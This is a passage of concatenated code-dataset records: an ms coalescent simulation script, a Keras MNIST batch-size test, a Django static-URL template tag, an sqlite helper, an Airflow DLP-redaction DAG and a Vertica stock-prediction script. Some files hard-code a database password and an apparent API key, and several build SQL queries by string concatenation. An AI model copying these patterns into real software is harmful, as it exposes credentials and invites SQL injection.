msSS.pl >> simModel1.txt\" % (nDNANsam, Theta, nDNAGIL, nDNAART1, nDNAART2, nDNAMAG_TEG, nDNAAPAs, nDNADBO, nDNAPET_ALC, nDNAMIN, nDNAFOR_DEL, nDNABUR, nDNAUNA, nDNAFMS, nDNAURU, nDNAGOV, nDNAPIR, nDNAAQU_RVE, nDNAMOC, nDNAPOS2, nDNACRI, nDNAPGO, coalT1, coalT1, coalT1, coalT2, coalT2, coalT3, coalT4, coalRootDivTime))\n\n\t## save parameter values and models\n\tparameters.write(\"%f\\t%f\\t%f\\t%f\\t%f\\t%f\\t%f\\t%f\\n\" % (Ne, RootDivTime, T1, T2, T3, T4, T5, T6))\n\tmodels.write(\"mod1\\n\")\n\n### Clade CO Splitter Model\nfor i in range(Priorsize):\n\n\t### Define parameters\n\t## Ne prior following a uniform distribution from 50 to 10000\n\tNe = random.uniform(50000, 500000)\n\t## mutation rate according to Ossowski et al. (2010)\n\tmutrate =(7.0E-9)\n\t## use Ne and mutrate values to obtain the value of theta (required by ms)\n\tTheta = 4*Ne*mutrate*450\n\t## divergence time prior following an uniform distribution from 650k to 350k years ago.\n\tRootDivTime = random.uniform(350000, 650000)\n\t## subsequent divergence events with prior following an uniform distribution from the time of the previous event until the present.\n\tT5=random.uniform(0,RootDivTime)\n\tT4=random.uniform(0,T5)\n\tT3=random.uniform(0,T4)\n\tT2=random.uniform(0,T3)\n\tT1=random.uniform(0,T2)\n\n\t## use the DivTime in years to calculte divergence time in coalescent units (required by ms)\n\tcoalRootDivTime = RootDivTime/(genlen*4*Ne)\n\tcoalT5 = T5/(genlen*4*Ne)\n\tcoalT4 = T4/(genlen*4*Ne)\n\tcoalT3 = T3/(genlen*4*Ne)\n\tcoalT2 = T2/(genlen*4*Ne)\n\tcoalT1 = T1/(genlen*4*Ne)\n\n\t## nDNA ms's command\n\tos.system(\"./ms %d 26 -t %f -I 20 %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d -ej 0 15 14 -ej 0 13 9 -ej 0 20 8 -ej 0 10 6 -ej 0 12 2 -ej %f 5 4 -ej %f 8 7 -ej %f 18 1 -ej %f 3 2 -ej %f 14 7 -ej %f 9 4 -ej %f 17 1 -ej %f 16 7 -ej %f 6 2 -ej %f 11 1 -ej %f 19 2 -ej %f 7 4 -ej %f 4 2 -ej %f 2 1 | perl msSS.pl >> simModel2.txt\" % (nDNANsam, Theta, nDNAGIL, nDNAART1, nDNAART2, nDNAMAG_TEG, nDNAAPAs, nDNADBO, nDNAPET_ALC, nDNAMIN, nDNAFOR_DEL, nDNABUR, nDNAUNA, nDNAFMS, nDNAURU, nDNAGOV, nDNAPIR, nDNAAQU_RVE, nDNAMOC, nDNAPOS2, nDNACRI, nDNAPGO, coalT1, coalT1, coalT1, coalT1, coalT1, coalT2, coalT2, coalT2, coalT2, coalT3, coalT3, coalT4, coalT5, coalRootDivTime))\n\n\t## save parameter values and models\n\tparameters.write(\"%f\\t%f\\t%f\\t%f\\t%f\\t%f\\t%f\\t%f\\n\" % (Ne, RootDivTime, T1, T2, T3, T4, T5, T6))\n\tmodels.write(\"mod2\\n\")\n\n\n### Clade CO Geneland Model\nfor i in range(Priorsize):\n\n\t### Define parameters\n\n\t### Define parameters\n\t## Ne prior following a uniform distribution from 50 to 10000\n\tNe = random.uniform(50000, 500000)\n\t## mutation rate according to Ossowski et al. (2010)\n\tmutrate =(7.0E-9)\n\t## use Ne and mutrate values to obtain the value of theta (required by ms)\n\tTheta = 4*Ne*mutrate*450\n\t## divergence time prior following an uniform distribution from 650k to 350k years ago.\n\tRootDivTime = random.uniform(350000, 650000)\n\t## subsequent divergence events with prior following an uniform distribution from the time of the previous event until the present.\n\tT6=random.uniform(0,RootDivTime)\n\tT5=random.uniform(0,T6)\n\tT4=random.uniform(0,T5)\n\tT3=random.uniform(0,T4)\n\tT2=random.uniform(0,T3)\n\tT1=random.uniform(0,T2)\n\n\t## use the DivTime in years to calculte divergence time in coalescent units (required by ms)\n\tcoalRootDivTime = RootDivTime/(genlen*4*Ne)\n\tcoalT6 = T6/(genlen*4*Ne)\n\tcoalT5 = T5/(genlen*4*Ne)\n\tcoalT4 = T4/(genlen*4*Ne)\n\tcoalT3 = T3/(genlen*4*Ne)\n\tcoalT2 = T2/(genlen*4*Ne)\n\tcoalT1 = T1/(genlen*4*Ne)\n\n\t## nDNA ms's command\n\tos.system(\"./ms %d 26 -t %f -I 20 %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d %d -ej 0 3 2 -ej 0 12 6 -ej %f 19 1 -ej %f 18 1 -ej %f 10 6 -ej %f 5 4 -ej %f 15 13 -ej %f 20 8 -ej %f 17 11 -ej %f 13 4 -ej %f 16 8 -ej %f 11 1 -ej %f 14 4 -ej %f 8 7 -ej %f 6 1 -ej %f 9 7 -ej %f 4 1 -ej %f 7 1 -ej %f 2 1 | perl msSS.pl >> simModel3.txt\" % (nDNANsam, Theta, nDNAGIL, nDNAART1, nDNAART2, nDNAMAG_TEG, nDNAAPAs, nDNADBO, nDNAPET_ALC, nDNAMIN, nDNAFOR_DEL, nDNABUR, nDNAUNA, nDNAFMS, nDNAURU, nDNAGOV, nDNAPIR, nDNAAQU_RVE, nDNAMOC, nDNAPOS2, nDNACRI, nDNAPGO, coalT1, coalT1, coalT1, coalT1, coalT1, coalT1, coalT2, coalT2, coalT2, coalT3, coalT3, coalT3, coalT4, coalT4, coalT5, coalT6, coalRootDivTime))\n\t## save parameter values\n\tparameters.write(\"%f\\t%f\\t%f\\t%f\\t%f\\t%f\\t%f\\t%f\\n\" % (Ne, RootDivTime, T1, T2, T3, T4, T5, T6))\n\tmodels.write(\"mod3\\n\")\n\n#names(sust) <- c(\"cppi\", \"cpss\", \"cpD\", \"cpthetaH\", \"cpH\", \"cppi_within_1\", \"cppi_within_2\", \"cppi_between_1-2\", \"npi\", \"nss\", \"nD\", \"nthetaH\", \"nH\", \"npi_within_1\", \"npi_within_2\", \"npi_between_1-2\")\n","sub_path":"ABC/simulate_ms_ABC.py","file_name":"simulate_ms_ABC.py","file_ext":"py","file_size_in_byte":7708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"264976167","text":"import numpy as np \nfrom sklearn.datasets import fetch_mldata\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import preprocessing\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Flatten\nfrom keras.optimizers import Adam\nimport matplotlib.pyplot as plt\n\n# Store Model metrics\nhistory = {}\n\ndef plot_chart_to_file(keyname, ylabel, filenamepart):\n # Create Figure and Subplots\n fig, ax = plt.subplots(dpi=300)\n\n # Loop through Batch Sizes and Plot\n for batch_size in batch_sizes:\n \n # Get information for batch_size\n hist = history[batch_size]\n\n # Plot Chart\n ax.plot(hist.history[keyname], \n label='Batch Size ' + str(batch_size)) \n\n # Set Title, Labels and Legend\n plt.xlabel('Epoch')\n plt.ylabel(ylabel)\n plt.legend(loc='best', prop={'size':8})\n plt.title('Model - ' + ylabel)\n\n # .. and save..\n plt.savefig('Blog2_Model_' + filenamepart + '.png', \n bbox_inches=\"tight\") \n\n# Download MNIST Data\nmnist = fetch_mldata('MNIST original', data_home='~')\n\n# Rescale\nX = mnist.data.astype(np.float32) / 255\n\n# One Hot\nlabels = range(10)\nlb = preprocessing.LabelBinarizer()\nlb.fit(labels)\nY = lb.transform(mnist.target.astype(int))\n\n# Split in Training and Validation Sets\nx_train, x_val, y_train, y_val = train_test_split(X, Y, test_size=0.15, random_state=42, stratify=Y)\n\n# Create Model\ndef create_model():\n model = Sequential()\n model.add(Dense(784, input_dim=784, kernel_initializer='normal', \n activation='relu'))\n model.add(Dense(10, kernel_initializer='normal', \n activation='softmax'))\n # Compile model\n model.compile(loss='categorical_crossentropy', \n optimizer=Adam(), metrics=['accuracy'])\n return model\n\n# Define all batch sizes\nbatch_sizes = [ 16, 64, 128, 192, 256 ]\n\n# Loop through Batch Sizes\nfor batch_size in batch_sizes:\n \n # Create Model\n model = create_model()\n \n # Fit Model on new batch_size\n history[batch_size] = model.fit(x_train, y_train, \n validation_data=(x_val, y_val), \n epochs=50, batch_size=batch_size, verbose=2, shuffle=False)\n\n# Plot Charts\nplot_chart_to_file('loss', 'Train Loss', 'Train_Loss')\nplot_chart_to_file('val_loss', 'Validation Loss', 'Validation_Loss')\nplot_chart_to_file('acc', 'Train Accuracy', 'Train_Accuracy')\nplot_chart_to_file('val_acc', 'Validation Accuracy', 'Validation_Accuracy')","sub_path":"BatchSizeSelectionNeuralNetworks.py","file_name":"BatchSizeSelectionNeuralNetworks.py","file_ext":"py","file_size_in_byte":2404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"212884101","text":"\"\"\"\n\nA template tag that writes the '\nSTYLESHEET = ''\nSTYLESHEET_MEDIA = ''\nURL_CUTTER=re.compile('\\/?[^\\/]*?$')\nMINIFY=re.compile('\\.js$')\nMINIFY_CSS=re.compile('\\.css$')\n\nURL_RE = re.compile(\n r'^https?://' # http:// or https://\n r'(?:(?:[A-Z0-9-]+\\.)+[A-Z]{2,6}|' #domain...\n r'localhost|' #localhost...\n r'\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})' # ...or ip\n r'(?::\\d+)?' # optional port\n r'(?:/?|/\\S+)$', re.IGNORECASE)\n \ndef make_url(url, context=None):\n if context:\n url = template.Template(url).render(context) \n if url.startswith(\"/\"):\n url = url.replace(\"/\",\"\",1)\n\n try:\n if settings.MINIFY_JS:\n url=MINIFY.sub(\".min.js\",url)\n except:\n pass\n try:\n if settings.MINIFY_CSS:\n url=MINIFY_CSS.sub(\".min.css\",url)\n except:\n pass\n # we might already have an absolute url,\n # for instance for a third party image\n # in which case we'll just use that\n # otherwise it's a local image and wants the \n # transformation applying\n if not URL_RE.match(url):\n if settings.STATIC_URL.endswith('/') and url.startswith('/'):\n url = settings.STATIC_URL[:-1] + url\n else:\n url = settings.STATIC_URL + url\n \n if settings.DEBUG:\n if not (getattr(settings, 'DEBUG_NO_JS_CACHEBUSTING', False) and \\\n url.endswith('.js')):\n if '?' in url:\n url_separator = '&'\n else:\n url_separator = '?'\n url = url + url_separator + 'cachebust=%s' % str(random.random() * 10)\n return url\n\nregister = template.Library()\n\ndef simple_tag_with_context(func): \n (params, xx, xxx, defaults) = getargspec(func) \n \n class SimpleWithContextNode(template.Node): \n def __init__(self, vars_to_resolve): \n self.vars_to_resolve = vars_to_resolve \n \n def render(self, context): \n resolved_vars = [\n template.resolve_variable(var, context)\n for var in self.vars_to_resolve\n ] \n rendered = func(context, *resolved_vars) \n return rendered or '' \n \n compile_func = curry(\n template.generic_tag_compiler, params[1:], defaults, func.__name__, SimpleWithContextNode\n ) \n compile_func.__doc__ = func.__doc__ \n register.tag(func.__name__, compile_func) \n return func\n\n@simple_tag_with_context\ndef static(context, url):\n return make_url(url, context)\n\n@simple_tag_with_context\ndef static_css(context, url):\n if getattr(settings, 'SINGLE_CSS', False) and getattr(settings, 'COMPILED_CSS', False):\n if settings.SINGLE_CSS and url in settings.COMPILED_CSS:\n return \"\"\n return STYLESHEET % make_url(url, context)\n\n@simple_tag_with_context\ndef static_css_screen(context, url):\n if getattr(settings, 'SINGLE_CSS', False) and getattr(settings, 'COMPILED_CSS', False):\n if settings.SINGLE_CSS and url in settings.COMPILED_CSS:\n return \"\"\n return STYLESHEET_MEDIA % (make_url(url, context), 'screen')\n\n@simple_tag_with_context\ndef static_css_print(context, url):\n return STYLESHEET_MEDIA % (make_url(url, context), 'print')\n\n@simple_tag_with_context\ndef static_js(context, url):\n if getattr(settings, 'SINGLE_JS', False) and getattr(settings, 'COMPILED_JS', False):\n if settings.SINGLE_JS and url in settings.COMPILED_JS:\n return \"\"\n return SCRIPT % make_url(url, context)\n","sub_path":"trunk/apps/tools/templatetags/static.py","file_name":"static.py","file_ext":"py","file_size_in_byte":4247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"343611043","text":"import sqlite3\nimport os\nimport tempfile\n\n\nclass ezq():\n\n __content__ = []\n __conn__ = None\n __file__ = None\n __dbg_msg__ = False\n\n def __print__(self,value):\n if self.__dbg_msg__:\n print(str(value))\n \n def __init__(self):\n self.__file__ = tempfile.TemporaryFile().name\n self.conn = sqlite3.connect(self.__file__)\n \n def __del__(self):\n self.conn.close()\n os.remove(self.__file__)\n\n def __create_table__(self,name=\"\",columns=[]):\n query_text = \"CREATE TABLE \" + name + ' (' + ','.join(columns)+ ')'\n self.__exec_query__(query_text)\n\n def __fill_in_table__(self,tablename=\"\",values=[]):\n \"\"\"Fill the values in the tablename.\n values should be list of lists [[v1,v2,v3],[v4,v5,v6]]\"\"\"\n for cort in values:\n for i in range(len(cort)):\n if isinstance(cort[i],str):\n cort[i] = \"'\" + cort[i] + \"'\"\n else:\n cort[i] = str(cort[i])\n \n query_text = \"INSERT INTO \"+ tablename +\" VALUES \" + ','.join([\"(\" + \",\".join(i) + \")\" for i in values])\n self.__exec_query__(query_text)\n \n def __exec_query__(self,text=\"\"):\n self.__print__('Executing query:' + '[' + text + ']')\n cursor = self.conn.cursor()\n cursor.execute(text)\n self.conn.commit()\n return cursor\n\n def add_table(self,name,columns=[],tablecontent=[]):\n self.__create_table__(name,columns)\n self.__fill_in_table__(name,tablecontent)\n\n def query(self,text):\n res = self.__exec_query__(text)\n for i in res:\n print(i)\n \n \n#EXAMPLE\n\nez = ezq()\nez.add_table(\"Employee\",['Name','Age','Salary'],[['Mike',30,6000],['Aik',35,8000]])\nez.add_table(\"Penalty\",['Name','Val'],[['Mike',300],['Aik',450]])\nez.query(\"SELECT * FROM Employee left join penalty on Employee.Name=Penalty.Name\")\nez = None\n\n\n\n \n","sub_path":"ezq.py","file_name":"ezq.py","file_ext":"py","file_size_in_byte":1988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"249308192","text":"from airflow import DAG\nfrom airflow.contrib.operators.gcs_to_bq import GoogleCloudStorageToBigQueryOperator\nfrom airflow.providers.google.cloud.operators.dataflow import DataflowStartFlexTemplateOperator\nfrom airflow.utils.dates import days_ago\nfrom airflow.utils.trigger_rule import TriggerRule\n\nfrom airflow.operators.dummy_operator import DummyOperator\nfrom airflow.operators.python_operator import BranchPythonOperator, PythonOperator, ShortCircuitOperator\n\nfrom google.cloud import storage\nimport os\nos.environ[\"GOOGLE_APPLICATION_CREDENTIALS\"] = \"/Users/jhanrattyqarik.com/apex/beam-dlp-pipeline/qbank_keys.json\"\n\nclient = storage.Client()\n#\n# Setup our DAG\n#\nAPEX_PROJECT = 'qbank-266411'\nAPEX_SOURCE_BUCKET = \"qbank-test-bucket\"\nAPEX_ROOT_DIR = 'import_testing_airflow/'\nAPEX_PROCESSED_DIR = 'processed/'\nAPEX_ERRORED_DIR = 'errored/'\nDATASET_NAME = \"testdataset\"\nTABLE_NAME = \"CorrespondentOffice\"\nPII_PRESENT = True\n\nDLP_OUTPUT = f\"dlp_output/{TABLE_NAME}/\"\n\n\ndef list_gcs_files_by_regex(pattern: str):\n result = []\n for blob in client.list_blobs(APEX_SOURCE_BUCKET, prefix=\"import\"):\n print(f\"Comparing {pattern} with file {blob.name}\")\n if pattern in blob.name.lower():\n result.append(blob.name)\n print(result)\n\n return result\n\ndef check_file_list(**context):\n ti = context[\"ti\"]\n file_list = ti.xcom_pull(task_ids=\"ListGCSFiles\")\n\n result = True\n\n if len(file_list) == 0:\n print(\"No files to process\")\n result = False\n\n return result\n\ndef move_files(**context):\n ti = context[\"ti\"]\n file_list = ti.xcom_pull(task_ids=\"ListGCSFiles\")\n\n source_bucket = client.get_bucket(APEX_SOURCE_BUCKET)\n destination_bucket = client.get_bucket(APEX_SOURCE_BUCKET)\n\n print(file_list)\n\n for file in file_list:\n source_blob = source_bucket.blob(file)\n\n old_dir = file.split(\"/\")[0]\n new_f = file.replace(old_dir, \"dlp_input\")\n\n source_bucket.copy_blob(\n source_blob, destination_bucket, new_f)\n\ndef delete_dlp_files(**context):\n bucket = client.get_bucket(APEX_SOURCE_BUCKET)\n\n dlp_input = bucket.list_blobs(prefix=\"dlp_input\")\n for blob in dlp_input:\n print(blob.name)\n blob.delete()\n\n dlp_output = bucket.list_blobs(prefix=\"dlp_output\")\n for blob in dlp_output:\n print(blob.name)\n blob.delete()\n\ndef perform_redact(**context):\n files = []\n redact_success = []\n\n ### This task also writes the output to BigQuery and Google Cloud Storage\n\n op = DataflowStartFlexTemplateOperator(\n task_id=\"DataflowRedactPii\",\n project_id=APEX_PROJECT,\n do_xcom_push=True,\n location=\"us-central1\",\n body={\n \"launchParameter\": {\n \"containerSpecGcsPath\": \"gs://qbank-test-bucket/dataflow_dlp/template_metadata\",\n \"jobName\": \"apexredact3\",\n \"parameters\": {\n \"input\": f\"gs://{APEX_SOURCE_BUCKET}/dlp_input/*\",\n \"output\": f\"gs://{APEX_SOURCE_BUCKET}/{DLP_OUTPUT}\",\n \"redact_fields\": \"Address1\",\n \"setup_file\": \"/dataflow/template/setup.py\",\n \"table_name\": TABLE_NAME\n },\n }\n }\n )\n print(f\"Redact complete for file {str(files)}\")\n # redact_success.append(file_name)\n # location: \"us-east1\"\n\n op.execute(context)\n\n return redact_success\n\n\ndef write_to_bq_redacted(**context):\n file_list = []\n\n for blob in client.list_blobs(APEX_SOURCE_BUCKET, prefix=\"dlp_output/\"):\n file_list.append(blob.name)\n\n\n print(file_list)\n\n op = GoogleCloudStorageToBigQueryOperator(\n task_id=\"RedactedAvroToBigQuery\",\n bigquery_conn_id='bigquery',\n source_objects=file_list,\n bucket=APEX_SOURCE_BUCKET,\n destination_project_dataset_table=f\"{APEX_PROJECT}.{DATASET_NAME}.jen_test_redact\",\n create_disposition='CREATE_IF_NEEDED',\n write_disposition='WRITE_APPEND',\n source_format='AVRO',\n )\n\n op.execute(context)\n\ndef write_to_bq_non_redacted(**context):\n ti = context[\"ti\"]\n file_list = ti.xcom_pull(task_ids=\"ListGCSFiles\")\n\n op = GoogleCloudStorageToBigQueryOperator(\n task_id=\"NonRedactedAvroToBigQuery\",\n source_objects=file_list,\n bucket=APEX_SOURCE_BUCKET,\n destination_project_dataset_table=f\"{APEX_PROJECT}.{DATASET_NAME}.jen_test_redact_4\",\n create_disposition='CREATE_IF_NEEDED',\n write_disposition='WRITE_APPEND',\n source_format='AVRO',\n )\n\n op.execute(context)\n\n\ndef check_redact_condition(**context):\n return [\"MovePiiFiles\"] if PII_PRESENT else [\"LoadBigQueryNonRedacted\"]\n\ndef create_dag(dag_id, schedule, filepattern, default_args):\n def ingest_file(**context):\n files = list_gcs_files_by_regex(filepattern)\n context[\"ti\"].xcom_push(key=\"return_value\", value=files)\n\n dag = DAG(dag_id,\n schedule_interval=schedule,\n default_args=default_args)\n\n with dag:\n # list_gcs_files = PythonOperator(\n # task_id='ListGCSFiles',\n # pattern=filepattern,\n # provide_context=True,\n # python_callable=ingest_file)\n #\n # check_files = ShortCircuitOperator(\n # task_id='CheckFileList',\n # provide_context=True,\n # python_callable=check_file_list)\n #\n # archive = DummyOperator(\n # task_id='Archive')\n #\n # check_redact = BranchPythonOperator(\n # task_id=\"RedactCondition\",\n # python_callable=check_redact_condition,\n # provide_context=True)\n #\n # # move_files_to_be_redacted = PythonOperator(\n # # task_id='MovePiiFiles',\n # # provide_context=True,\n # # python_callable=move_files)\n\n redact = PythonOperator(\n task_id='DataflowRedactPii',\n provide_context=True,\n trigger_rule=TriggerRule.ONE_SUCCESS,\n python_callable=perform_redact\n )\n\n # load_bigquery_redacted = PythonOperator(\n # task_id='LoadBigQueryRedacted',\n # provide_context=True,\n # trigger_rule=TriggerRule.ONE_SUCCESS,\n # python_callable=write_to_bq_redacted)\n #\n # load_bigquery_non_redacted = PythonOperator(\n # task_id='LoadBigQueryNonRedacted',\n # provide_context=True,\n # trigger_rule=TriggerRule.ONE_SUCCESS,\n # python_callable=write_to_bq_non_redacted)\n #\n # delete_files = PythonOperator(\n # task_id='DeleteRedactedFiles',\n # provide_context=True,\n # python_callable=delete_dlp_files)\n #\n # end = DummyOperator(\n # task_id='End')\n\n # list_gcs_files >> check_files >> archive >> check_redact\n # # redact\n # check_redact >> move_files_to_be_redacted >> \\\n\n redact\n\n # >> delete_files >> end\n # do not redact\n # check_redact >> load_bigquery_non_redacted >> end\n\n return dag\n\n\n# Setup DAG\ndag_name = TABLE_NAME.lower()\ndag_id = f\"ingest_table_jen_test_{dag_name}\"\nschedule = '@daily'\n\ndefault_args = {'owner': 'apex',\n 'schedule_interval': None,\n 'start_date': days_ago(1)\n }\n\ndag = create_dag(dag_id, schedule, dag_name, default_args)\n","sub_path":"dags/apex_processor.py","file_name":"apex_processor.py","file_ext":"py","file_size_in_byte":7417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"83737496","text":"# %%\n# pip3 install vertica-python verticapy holidays pandas_datareader \nimport time\nimport logging\nimport datetime\nimport holidays\nimport vertica_python\nimport verticapy\nimport concurrent.futures\nfrom verticapy import *\nfrom verticapy.toolbox import *\nfrom verticapy.connections.connect import *\nfrom verticapy.learn.linear_model import LinearRegression\nfrom verticapy.learn.linear_model import ElasticNet\nfrom verticapy.learn.decomposition import PCA\nfrom pandas_datareader import data as web \nfrom datetime import datetime as dt\n#from finnhub import Client\n\n#finnhub_client = Client(api_key=\"bqu00jvrh5rb3gqqf9q0\")\nONE_DAY = datetime.timedelta(days=1)\nHOLIDAYS_BR = holidays.BR()\n\nlogfile = 'vertica_service.log'\n\nconn_info = {'host': 'localhost',\n 'port': 5433,\n 'user': 'dbadmin',\n 'password': 'stocks',\n 'database': 'stocks',\n 'use_prepared_statements': False}\n\ndb_schema = \"stocks\"\ninput_table = \"daily_prices\"\nkey_columns = [\"ts\", \"symbol\"]\ninput_columns = [\"open\", \"close\", \"high\", \"low\", \"volume\"]\noutput_columns = [ \"close\" ] # \"open\", \"high\", \"low\", \"volume\"]\n\npca_models = {}\nenet_models = {}\n\nnew_auto_connection(conn_info, name = \"VerticaDSN\")\nchange_auto_connection(\"VerticaDSN\")\n\nvertica_connection = vertica_python.connect(**conn_info)\n#vert_cur = vertica_connection.cursor()\n\nexecutor = concurrent.futures.ThreadPoolExecutor(max_workers=1)\n#logging.basicConfig(format='%(asctime)s (%(threadName)s) %(levelname)s - %(message)s', level=logging.INFO, handlers=[logging.FileHandler(logfile, 'w', 'utf-8')])\nlogging.basicConfig(format='%(asctime)s %(levelname)s %(message)s', datefmt='%I:%M:%S', level=logging.INFO, handlers=[logging.FileHandler(logfile, 'w', 'utf-8')])\n\n# https://towardsdatascience.com/machine-learning-techniques-applied-to-stock-price-prediction-6c1994da8001\n# https://link.springer.com/article/10.1186/s40854-019-0137-1\n# https://iceecs2018.org/wp-content/uploads/2019/10/paper_113.pdf\n# file:///C:/Users/csah2k/Documents/Work/STOCKS/verticapy.com/examples/movies/index.html\n\n# https://www.bussoladoinvestidor.com.br/indices-bovespa/\n\ndef runProcess(load_data=False, train_models=True, simulate_data=True):\n logging.info(\"========= STARTING PROCESS ========\")\n\n ### LOAD DATA ###\n if load_data:\n for target_symbol in listSymbols():\n loadHistData(target_symbol)\n # Table Maintenance\n with vertica_connection.cursor() as vert_cur:\n data_table = getRelation()\n vert_cur.execute(f\"select do_tm_task('mergeout', '{data_table}');\")\n vert_cur.execute(f\"select analyze_statistics('{data_table}', 100);\")\n\n ### TRAIN & SIMULATE DATA ###\n if simulate_data:\n trainModels()\n simulateNextDay()\n \n else:\n ### ONLY TRAIN MODELS ###\n if train_models:\n trainModels()\n \n\n logging.info(\"========= PROCESS FINISHED ========\")\n \n \n\ndef listSymbols(table_name=\"stock_symbols\"):\n table_name = getRelation(table_name)\n logging.info(f\"Listing symbols from table {table_name}\")\n with vertica_connection.cursor() as vert_cur:\n return [row[0] for row in vert_cur.execute(f\"SELECT DISTINCT symbol FROM {table_name} order by 1;\").fetchall()]\n\ndef getRelation(table=input_table, schema=db_schema, table_only=False):\n table_search = re.search(r\"(\\\"?(\\w+)\\\"?\\.)?\\\"?(\\w+)\\\"?\", table, re.IGNORECASE)\n if table_search:\n table = table_search.group(3)\n if table_only: return table\n else: return f\"\\\"{schema}\\\".\\\"{table}\\\"\" \n\ndef next_business_day(ref_date=datetime.date.today()):\n next_day = ref_date + ONE_DAY\n while next_day.weekday() in holidays.WEEKEND or next_day in HOLIDAYS_BR:\n next_day += ONE_DAY\n logging.debug(f\"Next workday: {next_day}\")\n return next_day\n\ndef next_holiday_day(ref_date=datetime.date.today()):\n next_day = ref_date + ONE_DAY\n while next_day.weekday() not in holidays.WEEKEND and next_day not in HOLIDAYS_BR:\n next_day += ONE_DAY\n logging.debug(f\"Next holiday: {next_day}\")\n return next_day\n\ndef getDbLastTimestamp(symbol='%', table_name=\"daily_prices\", column_name=\"ts\"):\n with vertica_connection.cursor() as vert_cur: \n return vert_cur.execute(f\"SELECT COALESCE(MAX(\\\"{column_name}\\\"), '1990-01-01') as \\\"{column_name}\\\" FROM {getRelation(table_name)} WHERE symbol like '{symbol}' and close is not null;\").fetchone()[0]\n\ndef mergeSimulationData(simulation_table, simulation_result_table):\n with vertica_connection.cursor() as vert_cur:\n return vert_cur.execute(f\"MERGE INTO {getRelation(simulation_table)} sim USING {getRelation(simulation_result_table)} res ON sim.ts = res.ts and sim.symbol = res.symbol WHEN MATCHED THEN UPDATE SET open = res.open, close = res.close, high = res.high, low = res.low, volume = res.volume WHEN NOT MATCHED THEN INSERT (ts, symbol, open, close, high, low, volume) VALUES (res.ts, res.symbol, res.open, res.close, res.high, res.low, res.volume);\")\n\ndef dropTable(table_name, cascade=True):\n table_name = getRelation(table_name)\n sql = f\"DROP TABLE IF EXISTS {table_name}\"\n if cascade: sql = f\"{sql} CASCADE;\"\n with vertica_connection.cursor() as vert_cur:\n vert_cur.execute(sql)\n return table_name\n\ndef dropView(view_name):\n sql = f\"DROP VIEW IF EXISTS {getRelation(view_name)};\"\n with vertica_connection.cursor() as vert_cur:\n return vert_cur.execute(sql)\n\ndef symbolToTable(symbol):\n return re.sub(r'[^A-Z09]', '', symbol).lower().strip()\n\ndef loadHistData(symbol):\n logging.info(f\"Loading new data from YAHOO! for {symbol}\")\n df = web.DataReader(\n symbol,\n 'yahoo',\n getDbLastTimestamp(symbol),\n dt.now()\n ).reset_index()\n\n table_name_stg = getRelation(f\"stock_data_{symbolToTable(symbol)}\")\n dropTable(table_name_stg)\n pandas_to_vertica(df, getRelation(table_name_stg, table_only=True), schema=db_schema)\n\n target_table = getRelation(input_table)\n query = f\"INSERT INTO {target_table} SELECT \\\"Date\\\"::TIMESTAMP as \\\"ts\\\", '{symbol}' as \\\"symbol\\\", \\\"Open\\\" as \\\"open\\\", \\\"High\\\" as \\\"high\\\", \\\"Low\\\" as \\\"low\\\", \\\"Close\\\" as \\\"close\\\", \\\"Volume\\\" as \\\"volume\\\" FROM {table_name_stg} WHERE \\\"Volume\\\" > 0 AND \\\"Close\\\" > 0 AND \\\"Date\\\" >= (select COALESCE(MAX(ts), '1990-01-01') from {getRelation(input_table)} where symbol = '{symbol}') \"\n logging.info(query)\n with vertica_connection.cursor() as vert_cur:\n vert_cur.execute(query).fetchone()\n dropTable(table_name_stg)\n logging.info(f\"Finished {symbol} data loading in {target_table}\")\n return input_table\n\ndef generateTempName(target_symbol):\n tmp = f\"{input_table}_{symbolToTable(target_symbol)}_{random.randint(100000, 999999)}\"\n return tmp\n\ndef getModelCols(vdf):\n model_columns = vdf.get_columns()\n model_columns = [str(c).replace('\"','') for c in model_columns]\n model_columns = [c for c in model_columns if c.startswith(\"LAG\") or c in key_columns+input_columns ]\n return model_columns\n\ndef materializeVdf(vdf, tmp='None', target_symbol='', usecols=[]):\n prev_tmp = tmp\n tmp = dropTable(getRelation(generateTempName(target_symbol)))\n logging.info(f\"Materializing temporary table {tmp}\")\n vdf.to_db(tmp, usecols=usecols, relation_type=\"temporary\", inplace=True)\n dropTable(prev_tmp)\n return tmp\n\n\ndef generateFeatures(vdf, n=20, m=2.0, lag=1):\n # n : Number of days in smoothing period (typically 20)\n # m : Number of standard deviations (typically 2)\n logging.info(f\"Generating features [N: {n}, M: {m}, LAG: {lag}]\")\n \n\n # https://www.investopedia.com/terms/m/macd.asp\n # https://www.investopedia.com/terms/m/movingaverage.asp\n # https://www.mssqltips.com/sqlservertip/5441/using-tsql-to-detect-golden-crosses-and-death-crosses/\n price_cols = ['open','close','high','low']\n sma_periods = [f'{n} days', '1 week', '3 month']\n ema_ratios = [f'{1/n}', '0.075', '0.15']\n \n analytics = []\n numeric_feats = [] # numeric features to NORMALIZE\n category_feats = [] # categorical features to ONE-HOT ENCODE\n model_feats = {}\n for col in input_columns:\n model_feats[col] = []\n\n # INDICES (self-joins)\n '''\n logging.debug(\"Generating feature 'Index: '\")\n idxVdf = createIndexDataframe().filter(\"symbol = 'IBXX.SA'\")\n vdf = vdf.join(idxVdf, how=\"left\", on={\"ts\":\"ts\"}, expr2=[\"close as IBXX\"])\n vdf.fillna()\n _lag = createLag(vdf, \"IBXX\", lag)\n for col in output_columns: model_feats[col].append(_lag)\n numeric_feats.append(_lag)\n print(vdf)\n input(\"PAUSE\")\n '''\n \n # DAY AVERAGE\n logging.debug(\"Generating feature 'Typical price'\")\n vdf.eval(\"TP\", \"apply_avg(ARRAY[close,high,low])\")\n _lag = createLag(vdf, \"TP\", lag)\n for col in price_cols: model_feats[col].append(_lag)\n\n # DATE PARTS\n logging.debug(f\"Generating features 'Date Parts'\")\n for dtpart in ['ISODOW', 'QUARTER']:\n _col = 